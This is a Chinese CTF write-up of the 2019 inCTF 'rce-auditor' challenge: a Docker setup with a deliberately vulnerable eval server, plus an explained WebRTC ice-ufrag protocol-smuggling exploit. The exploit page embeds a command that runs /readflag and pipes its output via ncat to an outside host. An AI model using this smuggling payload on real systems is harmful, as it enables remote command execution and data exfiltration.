2019inCTF的rce-auditor的环境搭建到解决的详细过程

前言

2019inCTF的rce-auditor的环境搭建到解决的详细过程

0x02 rce-auditor
环境的文件目录如下:

下面是每个目录和文件的介绍。
docker目录存放的是环境的基本文件,而exploit存放的是解决该问题的文件,下面将从docker目录开始详细的每一个文件的内容。
docker目录下的flag目录。
  • flag文件的内容是你要通过利用获取的。
  • readflag文件是编译好的二进制文件的,要通过拿到shell执行它获取flag的内容。
  • readflag.c文件是编译之前的readflag.c文件,内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include <stdio.h>
    #include <stdlib.h>

    int main()
    {
    FILE *f = fopen("/flag", "r");
    char buf[256] = {0};
    fgets(buf, 256, f);
    puts(buf);
    fclose(f);
    return 0;
    }
docker目录下的nginx文件夹。
  • default文件是nginx的配置文件,内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    server {
    listen 80;
    server_name _;

    location / {
    include proxy_params;
    proxy_pass http://unix:/home/user/sock/server.sock;
    }
    }
这个配置文件是代理80端口的将http请求代理到unixsocket
docker目录下的redis文件夹。
  • redis.conf文件是redis的配置文件。
docker目录的user文件夹。
  • pow目录暂时没有东西。
  • sock目录暂时没有东西。
  • chrome_headless.py的内容如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    #!/usr/bin/env python3
    import time

    from selenium.webdriver import Chrome
    from selenium.webdriver.chrome.options import Options
    from selenium.common.exceptions import TimeoutException, WebDriverException

    loading_page_time_sec = 5
    browsing_page_time_sec = 5

    def browse(url):
    options = Options()
    options.headless = True
    options.add_argument('--no-sandbox') # https://stackoverflow.com/a/45846909
    options.add_argument('--disable-dev-shm-usage') # https://stackoverflow.com/a/50642913
    chrome = Chrome(options=options)
    # https://stackoverflow.com/a/47695227
    chrome.set_page_load_timeout(loading_page_time_sec)
    chrome.set_script_timeout(loading_page_time_sec)
    try:
    chrome.get(url)
    time.sleep(browsing_page_time_sec)
    except (TimeoutException, WebDriverException):
    pass
    finally:
    chrome.quit()
下面大体介绍一下这个函数:
  • 2~6行主要导入所需的模块。
  • 8行设置了请求页面时的超时时间。
  • 9行设置了执行javascript脚本超时时间。
  • 12行初始化chrome的设置参数实例。
  • 13行设置浏览器为无界面运行。
  • 14行设置浏览器为非沙盒模式运行。
  • 15详细链接
  • 16~19将上面提到的参数设置到chrome中。
  • 21模仿浏览器发起get请求。
  • 22进程阻塞了5秒。
  • 26行关闭所有的窗口。
config.py的内容如下:
1
2
3
#!/usr/bin/env python3
difficulty = 18
debug = False
是一个基本配置。
eval_servereval_server.c编译后的二进制文件。
eval_server.c的内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/*
* Run this command to start the server.
* The ncat is from zmap package.
*
* ncat -klv 127.0.0.1 6666 -c 'timeout 30 ./eval_server'
*/

int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
while (1) {
char buffer[1024]; // It's vulnerable to buffer overflow. Let's pwn it. Just trigger exit(), right?
int count = 0;
read(0, buffer+count, 1);
while (buffer[count] != '\r' && buffer[count] != '\n')
read(0, &buffer[++count], 1);
buffer[count] = '\0';
system(buffer);
}
return 0;
}
大家可以自己运行一下看看结果。
powser.py的内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python3
import sqlite3
from time import time
import hashlib
import secrets


class Powser:
def __init__(
self,
db_path,
difficulty=16,
clean_expired_rows_per=1000,
prefix_length=16,
default_expired_time=None,
min_refresh_time=None
):
self.db = sqlite3.connect(db_path)
self.difficulty = difficulty
self.clean_expired_rows_per = clean_expired_rows_per
self.prefix_length = prefix_length
if default_expired_time is None:
self.default_expired_time = max(600, 2**(difficulty-16))
if min_refresh_time is None:
self.min_refresh_time = self.default_expired_time // 2

self._insert_count = 0

if not self._table_exists():
self._create_table()

def get_challenge(self, ip):
row = self.db.execute('SELECT prefix, valid_until FROM pow WHERE ip=?', (ip, )).fetchone()
if row is None:
return self._insert_client(ip)

prefix, valid_until = row
time_remain = valid_until - int(time())
if time_remain <= self.min_refresh_time:
return self._insert_client(ip)
return prefix, time_remain

def verify_client(self, ip, answer, with_msg=False):
row = self.db.execute('SELECT valid_until, prefix FROM pow WHERE ip=?', (ip, )).fetchone()
if row is None:
return (False, 'Please get a new PoW challenge.') if with_msg else False
valid_until, prefix = row
if time() > valid_until:
return (False, 'The Pow challenge is expired.') if with_msg else False
result = self._verify_hash(prefix, answer)
if not result:
return (False, 'The hash is incorrect.') if with_msg else False
self._insert_client(ip)
return (True, 'Okay.') if with_msg else True

def clean_expired(self):
self.db.execute('DELETE FROM pow WHERE valid_until < strftime("%s", "now")')
self.db.commit()

def close(self):
self.db.close()

def _verify_hash(self, prefix, answer):
h = hashlib.sha256()
print(prefix+answer)
h.update((prefix + answer).encode())
bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
print(bits)
zeros = '0' * self.difficulty
return bits[:self.difficulty] == zeros

def _insert_client(self, ip):
self._insert_count += 1
if self.clean_expired_rows_per > 0 and self._insert_count % self.clean_expired_rows_per == 0:
self.clean_expired()
prefix = secrets.token_urlsafe(self.prefix_length)
valid_until = int(time()) + self.default_expired_time
data = {
'ip': ip,
'valid_until': valid_until,
'prefix': prefix
}
self.db.execute('INSERT OR REPLACE INTO pow VALUES(:ip, :valid_until, :prefix)', data)
self.db.commit()
return prefix, valid_until - int(time())

def _table_exists(self):
row = self.db.execute('SELECT COUNT(*) FROM sqlite_master WHERE type=? AND name=?', ('table', 'pow')).fetchone()
return bool(row[0])

def _create_table(self):
sql = '''
CREATE TABLE pow (
ip TEXT PRIMARY KEY,
valid_until INTEGER,
prefix TEXT
)
'''
self.db.execute(sql)
self.db.commit()

if __name__ == '__main__':
powser = Powser(db_path='./pow.sqlite3', difficulty=18)
ip = '240.240.240.240'
prefix, time_remain = powser.get_challenge(ip)
print(f'''
sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})...

IP: {ip}
Time remain: {time_remain} seonds
You need to await {time_remain - powser.min_refresh_time} seconds to get a new challenge.
''')
def is_valid(digest):
zeros = '0' * powser.difficulty
bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
return bits[:powser.difficulty] == zeros

i = 0
while True:
i += 1
s = prefix + str(i)
h = hashlib.sha256()
h.update(s.encode())
if is_valid(h.digest()):
print(s)
print(str(i))
print(''.join(bin(i)[2:].zfill(8) for i in h.digest()))
break

print(powser.verify_client(ip, str(i), with_msg=True))
详细介绍请戳这里
run.sh的内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env bash

chmod 1733 /dev/shm

# Start redis
service redis-server restart

# Start redis worker
export LANG=C.UTF-8
export LC_ALL=C.UTF-8
for _ in {1..4}; do
sudo -H -u user rq worker --url 'unix:///var/run/redis/redis-server.sock' &
done

# Start eval_server
sudo -H -u user ncat -klv 127.0.0.1 6666 -c 'timeout 30 sudo -H -u eval ./eval_server' &

# Start nginx
service nginx restart

# Start web server
sudo -H -u user gunicorn \
--bind unix:sock/server.sock \
--worker-class uvicorn.workers.UvicornWorker \
--workers 5 \
--access-logfile - \
--error-logfile - \
--umask 007 \
web_server:app
下面是上面文件的详细介绍:
  • 3行设置了dev/shm的权限为rwsx-rx-rx
  • 6行启动redis服务器。
  • 9行设置环境变量LANG=C.UTF-8解决乱码。
  • 10行设置是为了去除所有本地化的设置,让命令能正确执行。
  • 11~13行用sudo提升到user用户去启动4个后台队列处理redis服务,基于unixsocket,运行在内网中。
  • 16行在连接到127.0.0.1:6666时自动启动eval_server
  • 19行重启nginx服务器。
  • 22~29行用这个gunicorn来管理starlette
参考链接
https://outmanzzq.github.io/2018/09/11/chmod-in-linux/
web_server.py的内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from starlette.applications import Starlette
from starlette.responses import HTMLResponse
from redis import Redis
from rq import Queue

import config
from powser import Powser
import chrome_headless

app = Starlette(debug=config.debug)
queue = None
powser = None

@app.on_event('startup')
def init():
global queue, powser
queue = Queue(connection=Redis(unix_socket_path='/var/run/redis/redis-server.sock'))
powser = Powser(db_path='./pow/pow.sqlite3', difficulty=config.difficulty)

@app.route('/')
async def index(request):
ip = request.headers['X-Real-IP']
answer = request.query_params.get('answer')
url = request.query_params.get('url')
if answer is None or url is None or not (url.startswith('http://') or url.startswith('https://')):
prefix, time_remain = powser.get_challenge(ip)
return HTMLResponse(f'''
{prefix} {powser.difficulty}

sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})...

<form method="GET" action="/">
PoW answer: <input type="text" name="answer">
URL to visit: <input type="text" name="url" placeholder="https://balsn.tw/">
(url should start with http:// or https://)
<input type="submit" value="Submit">
</form>

IP: {ip}
Time remain: {time_remain} seonds
You need to await {time_remain - powser.min_refresh_time} seconds to get a new challenge.
'''.replace('\n', '<br>\n'))
res, msg = powser.verify_client(ip, str(answer), with_msg=True)
if not res:
return HTMLResponse(msg)
queue.enqueue(chrome_headless.browse, url)
return HTMLResponse('Okay, challenge accepted.')
详细介绍请戳这里
docker-compose.yml的内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
version: "2.2"
services:
grand-smuggler-protocol:
build: ./
ports:
- "8080:80"
hostname: grand-smuggler-protocol
# CPU/mem resources
cpus: 2
mem_limit: 2048M
memswap_limit: 0M
mem_reservation: 1024M
#shm_size: 512M

# core - limits the core file size (KB)
# data - max data size (KB)
# fsize - maximum filesize (bytes)
# memlock - max locked-in-memory address space (KB)
# nofile - max number of open file descriptors
# rss - max resident set size (KB), https://stackoverflow.com/a/3361037
# stack - max stack size (KB)
# cpu - max CPU time (MIN)
# nproc - max number of processes
# as - address space limit (KB)
# maxlogins - max number of logins for this user
# maxsyslogins - max number of logins on the system
# priority - the priority to run user process with
# locks - max number of file locks the user can hold
# sigpending - max number of pending signals
# msgqueue - max memory used by POSIX message queues (bytes)
# nice - max nice priority allowed to raise to values: [-20, 19]
# rtprio - max realtime priority
ulimits:
# #core: 0
fsize: 1024000000 # 1 GB
# #nofile: 32768
# #as: # NOTE: this is address space. Lots of program will crash if you limit this
nproc: 4096
nice: 0
详细介绍请戳这里
Dockerfile的内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
FROM ubuntu:18.04
MAINTAINER bookgin

#RUN sed -i 's/archive\.ubuntu/tw.archive.ubuntu/g' /etc/apt/sources.list

RUN apt update -y
RUN apt upgrade -y

RUN apt install -y nginx
RUN apt install -y sudo
RUN apt install -y nmap # ncat
RUN apt install -y chromium-browser chromium-chromedriver
RUN apt install -y python3 python3-pip
RUN apt install -y redis-server
#RUN apt install -y psmisc # killall
RUN pip3 install \
starlette \
uvicorn \
gunicorn \
selenium \
redis \
rq

# flag
RUN useradd --no-create-home --home-dir / --shell /bin/false flag
COPY flag/flag /flag
COPY flag/readflag /readflag
RUN chown flag:flag /flag
RUN chown flag:flag /readflag
RUN chmod 400 /flag
RUN chmod 4755 /readflag

# other secure settings
RUN chmod 1733 /tmp /var/tmp #/dev/shm set this in runtime

# nginx
COPY nginx/default /etc/nginx/sites-available/default

# Redis
COPY --chown=redis:redis redis/redis.conf /etc/redis/redis.conf

# eval server
RUN useradd --no-create-home --home-dir / --shell /bin/false eval

# general user
COPY user /home/user
RUN useradd --no-create-home --home-dir /home/user --shell /bin/false user
# so user can access redis unix socket
RUN usermod --append -G redis user
# so www-data can read/write the unix socket
RUN usermod --append -G user www-data
RUN chown user:user /home/user/sock
RUN chown user:user /home/user/pow
RUN chmod 700 /home/user/pow
# Note: running python is almost the same as giving shell
RUN echo '\nuser ALL=(eval)NOPASSWD:/home/user/eval_server' >> /etc/sudoers

EXPOSE 80/tcp

WORKDIR /home/user
CMD bash run.sh
下面来详细的介绍一下:
  • 1行是使用的基础镜像。
  • 2行是作者名。
  • 6行是更新可获得的包的列表。
  • 7行通过下载更新后列表的包。
  • 9~14行通过apt下载软件包。
  • 16~22行通过pip3下载软件包。
  • 25行创建一个不带/home目录和配置文件的flag用户。
  • 26行复制flag/flag的文件到/flag目录。
  • 27同上。
  • 28修改这个目录用户和用户组为flag
  • 29同上。
  • 30修改/flag文件的权限为文件所有者只读。
  • 31行chmod 4755与chmod 755的区别在于开头多了一位,这个4表示其他用户执行文件时,具有与所有者相当的权限。
  • 34行设置/tmp/var/tmp的权限为rwx-rx-rxt
  • 36行复制nginx/default文件到/etc/nginx/sites-available/default位置。
  • 40行文件的复制和修改用户和用户组。
  • 43行创建一个用户eval不带/home和配置文件。
  • 46行将user目录移动到/home/user目录。
  • 47行创建user用户同43行。
  • 49行将redis用户添加到user用户组。
  • 51行同上。
  • 52行同28行。
  • 53行同28行。
  • 54行设置/home/user/pow目录的权限为rwx------
  • 56行设置user用户执行/home/user/eval_server时用eval用户的权限,并且用sudo时不用输入密码。
  • 58暴露的端口为80
  • 60设置工作目录为/home/user
  • 61行运行run.sh
参考链接
https://outmanzzq.github.io/2018/09/11/chmod-in-linux/
exploit目录的index.html文件的内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<script>
// Tested on Chromium 76.0.3809.132
// https://webrtc.github.io/samples/src/content/peerconnection/trickle-ice/
config={"iceServers":[{"urls":["stun:stun.l.google.com:19302"],"username":"","credential":""}]}

pc1 = new RTCPeerConnection(config);
pc2 = new RTCPeerConnection(config);

pc2.addEventListener('icecandidate', (event) => {
if (event.candidate) {
if (event.candidate.type == 'srflx') {
console.log("before", event.candidate);
let nr = new RTCIceCandidate({
candidate: event.candidate.candidate.replace('udp','tcp').replace(event.candidate.address,'127.0.0.1').replace(event.candidate.port, '6666'),
sdpMid: event.candidate.sdpMid,
sdpMLineIndex: event.candidate.sdpMLineIndex,
usernameFragment: event.candidate.usernameFragment
});
console.log("after", nr);
pc1.addIceCandidate(nr).catch(e => {
console.log("Failure during addIceCandidate(): " + e.name);
});;
}
}
});

ch1 = pc1.createDataChannel(null);

pc1.createOffer().then(offer => {
console.log("offer", offer.sdp);
offer.sdp = offer.sdp.replace('ice-ufrag:','ice-ufrag:\r/readflag|ncat${IFS}240.240.240.240${IFS}12345\r');
pc1.setLocalDescription(offer);
pc2.setRemoteDescription(offer);
pc2.createAnswer().then(answer => {
//answer.sdp = answer.sdp.replace('ice-ufrag:','ice-ufrag:isanswer'); // Or you can replace this
pc2.setLocalDescription(answer);
pc1.setRemoteDescription(answer);
});
});
</script>
Writeup
这个内部服务器监听在localhost:6666将从输入中读取内容并在shell中逐行执行。但是,Chromium(和Firefox)将会阻止到端口6666的任何访问由于ERR_UNSAFE_PORT。它旨在保护用户免受协议走私攻击。
因此,基于HTTP的请求(XHR/fetch/html)将无法发送。我们必须利用其他的协议。尽管Chromium支持ftp协议,但是利用ftp协议走私是很困难的。
如今,现代的浏览器支持WebRTC API,这个API旨在建立对等连接。在协商过程中,将使用STUN协议来选择ICE candidates
但是它不是简单的。
在初始化WebRTC TURN服务器时指定用户名和密码将不起作用,因为TURN握手已经考虑到此协议走私攻击。
  1. 尽管用户名和密码是可控的,但这不是浏览器发送的第一个数据包。
  2. 除非浏览器收到有效的响应,否则它将不会发送包含用户名和密码的身份验证数据包。
  3. 我们无法控制第一个握手包中的任何字节。
STUN 服务器也不起作用。原因与以下相同。
因此,我们必须首先建立有效的STUN协议,然后以某种方式将数据包发送到我们的目标。该漏洞利用RFC 5245种的ICE candidateice-ufrag(或ice-pwd)来控制部分数据包。并用于对ICE candidate服务器的身份验证。
完整的解决方案,请参阅exploit目录。
后记
阻止不安全端口的行为很有趣。有一天,我创建了一个测试Python服务器0.0.0.0:6666,我发现浏览器本身阻止了我的访问。
对于WebRTC部分,它开始遵循CSP connect-src策略。(这是RCTF的挑战之一)然后我注意到STUN协议不是HTTP协议。我们可以滥用它吗?这个挑战结合了这两个想法。
参考链接
https://www.jianshu.com/p/35670c60430c
https://juejin.im/post/5cdcd7e9e51d456e6d133594
ICE servers